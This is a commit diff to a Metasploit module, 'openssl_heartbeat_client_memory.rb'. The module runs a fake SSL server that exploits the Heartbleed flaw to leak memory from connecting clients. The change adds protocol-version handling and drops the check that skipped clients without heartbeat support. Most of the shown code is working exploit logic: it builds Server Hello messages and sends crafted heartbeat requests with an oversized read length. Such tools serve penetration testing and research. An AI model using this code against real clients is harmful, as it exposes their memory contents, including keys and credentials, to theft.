Skip to content

Commit c2bb265

Browse files
committed
Land rapid7#3250, version handling for Heartbleed server
2 parents fb3b6f5 + fd232b1 commit c2bb265

File tree

1 file changed

+23
-22
lines changed

1 file changed

+23
-22
lines changed

modules/auxiliary/server/openssl_heartbeat_client_memory.rb

Lines changed: 23 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ def initialize
1616
'Description' => %q{
1717
This module provides a fake SSL service that is intended to
1818
leak memory from client systems as they connect. This module is
19-
hardcoded for TLS/1.1 using the AES-128-CBC-SHA1 cipher.
19+
hardcoded for using the AES-128-CBC-SHA1 cipher.
2020
},
2121
'Author' =>
2222
[
@@ -128,7 +128,7 @@ def process_request(c)
128128

129129
# Process cleartext TLS messages
130130
def process_openssl_cleartext_request(c, data)
131-
message_type, message_version = data.unpack("Cn")
131+
message_type, message_version, protocol_version = data.unpack("Cn@9n")
132132

133133
if message_type == 0x15 and data.length >= 7
134134
message_level, message_reason = data[5,2].unpack("CC")
@@ -160,19 +160,12 @@ def process_openssl_cleartext_request(c, data)
160160

161161
print_status("#{@state[c][:name]} Processing Client Hello...")
162162

163-
# Ignore clients that do not support heartbeat requests
164-
unless data.index("\x0F\x00\x01\x01")
165-
print_status("#{@state[c][:name]} Client does not support heartbeats")
166-
c.close
167-
return
168-
end
169-
170163
# Extract the client_random needed to compute the master key
171164
@state[c][:client_random] = data[11,32]
172165
@state[c][:received_hello] = true
173166

174167
print_status("#{@state[c][:name]} Sending Server Hello...")
175-
openssl_send_server_hello(c, data)
168+
openssl_send_server_hello(c, data, protocol_version)
176169
return
177170
end
178171

@@ -203,7 +196,7 @@ def process_openssl_cleartext_request(c, data)
203196
else
204197
# Send heartbeat requests
205198
if @state[c][:heartbeats].length < heartbeat_limit
206-
openssl_send_heartbeat(c)
199+
openssl_send_heartbeat(c, protocol_version)
207200
end
208201

209202
# Process cleartext heartbeat replies
@@ -223,7 +216,7 @@ def process_openssl_cleartext_request(c, data)
223216

224217
# Process encrypted TLS messages
225218
def process_openssl_encrypted_request(c, data)
226-
message_type, message_version = data.unpack("Cn")
219+
message_type, message_version, protocol_version = data.unpack("Cn@9n")
227220

228221
return if @state[c][:shutdown]
229222
return unless data.length > 5
@@ -244,7 +237,7 @@ def process_openssl_encrypted_request(c, data)
244237

245238
# Send heartbeat requests
246239
if @state[c][:heartbeats].length < heartbeat_limit
247-
openssl_send_heartbeat(c)
240+
openssl_send_heartbeat(c, protocol_version)
248241
end
249242

250243
# Process heartbeat replies
@@ -305,47 +298,55 @@ def on_client_close(c)
305298
end
306299

307300
# Send an OpenSSL Server Hello response
308-
def openssl_send_server_hello(c, hello)
301+
def openssl_send_server_hello(c, hello, version)
302+
303+
# If encrypted, use the TLS_RSA_WITH_AES_128_CBC_SHA; otherwise, use the
304+
# first cipher suite sent by the client.
305+
if @state[c][:encrypted]
306+
cipher = "\x00\x2F"
307+
else
308+
cipher = hello[46, 2]
309+
end
309310

310311
# Create the Server Hello response
311312
extensions =
312313
"\x00\x0f\x00\x01\x01" # Heartbeat
313314

314315
server_hello_payload =
315-
"\x03\x02" + # TLS Version 1.1
316+
[version].pack('n') + # Use the protocol version sent by the client.
316317
@state[c][:server_random] + # Random (Timestamp + Random Bytes)
317318
"\x00" + # Session ID
318-
"\x00\x2F" + # Cipher ID (TLS_RSA_WITH_AES_128_CBC_SHA)
319+
cipher + # Cipher ID (TLS_RSA_WITH_AES_128_CBC_SHA)
319320
"\x00" + # Compression Method (none)
320321
[extensions.length].pack('n') + extensions
321322

322323
server_hello = [0x02].pack("C") + [ server_hello_payload.length ].pack("N")[1,3] + server_hello_payload
323324

324-
msg1 = "\x16\x03\x02" + [server_hello.length].pack("n") + server_hello
325+
msg1 = "\x16" + [version].pack('n') + [server_hello.length].pack("n") + server_hello
325326
c.put(msg1)
326327

327328
# Skip the rest of TLS if we arent negotiating it
328329
unless negotiate_tls?
329330
# Send a heartbeat request to start the stream and return
330-
openssl_send_heartbeat(c)
331+
openssl_send_heartbeat(c, version)
331332
return
332333
end
333334

334335
# Certificates
335336
certs_combined = generate_certificates
336337
pay2 = "\x0b" + [ certs_combined.length + 3 ].pack("N")[1, 3] + [ certs_combined.length ].pack("N")[1, 3] + certs_combined
337-
msg2 = "\x16\x03\x02" + [pay2.length].pack("n") + pay2
338+
msg2 = "\x16" + [version].pack('n') + [pay2.length].pack("n") + pay2
338339
c.put(msg2)
339340

340341
# End of Server Hello
341342
pay3 = "\x0e\x00\x00\x00"
342-
msg3 = "\x16\x03\x02" + [pay3.length].pack("n") + pay3
343+
msg3 = "\x16" + [version].pack('n') + [pay3.length].pack("n") + pay3
343344
c.put(msg3)
344345
end
345346

346347
# Send the heartbeat request that results in memory exposure
347-
def openssl_send_heartbeat(c)
348-
c.put "\x18\x03\x02\x00\x03\x01" + [heartbeat_read_size].pack("n")
348+
def openssl_send_heartbeat(c, version)
349+
c.put "\x18" + [version].pack('n') + "\x00\x03\x01" + [heartbeat_read_size].pack("n")
349350
end
350351

351352
# Pack the certificates for use in the TLS reply

0 commit comments

Comments
 (0)